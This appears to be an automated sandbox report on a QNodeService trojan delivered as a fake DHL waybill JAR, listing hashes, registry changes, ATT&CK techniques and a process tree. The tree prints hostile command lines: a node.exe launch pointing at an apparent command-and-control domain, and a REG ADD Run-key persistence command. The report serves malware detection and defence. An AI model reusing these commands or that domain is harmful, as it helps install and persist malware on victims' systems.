qnodeservice | b54c02db8dc8425c9506d27196961ef355014b5fba62fe73db097a817b7be543

General

Target

DHL AWB#4091013211.jar
Size

73KB
MD5

7881552dce01765a7ef287e21a0d7a95
SHA1

9c2611f2a5f2f1239f90dc1246f2c38614ffc3f7
SHA256

b54c02db8dc8425c9506d27196961ef355014b5fba62fe73db097a817b7be543
SHA512

184c9e366bd199ba564bacb49ce1ed61a0b3cd3e6855e9389e709ea0a1b658926c2591f522a14f0df183a70f17f4f2d881c718175089a3e5eff37915ec408ac0

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
512	node.exe
3008	node.exe
3516	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\74bccb84-a24c-41a2-a5ae-038d4dd14479 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab92-173.dat	js
behavioral2/files/0x000100000001ab92-176.dat	js
behavioral2/files/0x000100000001ab92-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
512	node.exe
512	node.exe
512	node.exe
512	node.exe
3008	node.exe
3008	node.exe
3008	node.exe
3008	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe
3516	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 1340	640	java.exe	76
PID 640 wrote to memory of 1340	640	java.exe	76
PID 1340 wrote to memory of 512	1340	javaw.exe	80
PID 1340 wrote to memory of 512	1340	javaw.exe	80
PID 512 wrote to memory of 3008	512	node.exe	82
PID 512 wrote to memory of 3008	512	node.exe	82
PID 3008 wrote to memory of 3516	3008	node.exe	83
PID 3008 wrote to memory of 3516	3008	node.exe	83
PID 3516 wrote to memory of 4040	3516	node.exe	85
PID 3516 wrote to memory of 4040	3516	node.exe	85
PID 4040 wrote to memory of 3748	4040	cmd.exe	86
PID 4040 wrote to memory of 3748	4040	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL AWB#4091013211.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:640
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3d701d74.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bawbaw.myftp.biz
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:512
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bNNA1T\boot.js --hub-domain bawbaw.myftp.biz
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bNNA1T\boot.js --hub-domain bawbaw.myftp.biz
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3516
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "74bccb84-a24c-41a2-a5ae-038d4dd14479" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4040
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "74bccb84-a24c-41a2-a5ae-038d4dd14479" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/512-174-0x000003448FDC0000-0x000003448FDC1000-memory.dmp

Filesize
4KB

Download
memory/3008-177-0x0000008718440000-0x0000008718441000-memory.dmp

Filesize
4KB

Download
memory/3516-181-0x000002355E040000-0x000002355E041000-memory.dmp

Filesize
4KB

Download

Analysis

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